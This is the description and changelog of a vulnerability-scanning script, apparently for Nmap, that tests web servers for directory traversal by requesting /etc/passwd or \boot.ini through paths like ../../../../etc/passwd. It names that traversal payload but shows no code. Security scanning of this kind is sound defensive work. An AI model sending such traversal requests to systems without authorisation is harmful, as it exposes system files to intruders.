Checks if a web server is vulnerable to directory traversal by attempting to
retrieve <code>/etc/passwd</code> or <code>\boot.ini</code> using various traversal methods such as
requesting <code>../../../../etc/passwd</code>.

-- 07/20/2007:
--   * Used Thomas Buchanan's HTTPAuth script as a starting point
--   * Applied some great suggestions from Brandon Enright, thanks a lot man!
--
-- 01/31/2008:
--   * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
--     needed cleaning up
--
-- 06/2010:
--   * Added Microsoft Windows (XP and previous) support by also looking for
--     \boot.ini
--   * Added specific payloads according to vulnerabilities published against
--     various specific products.
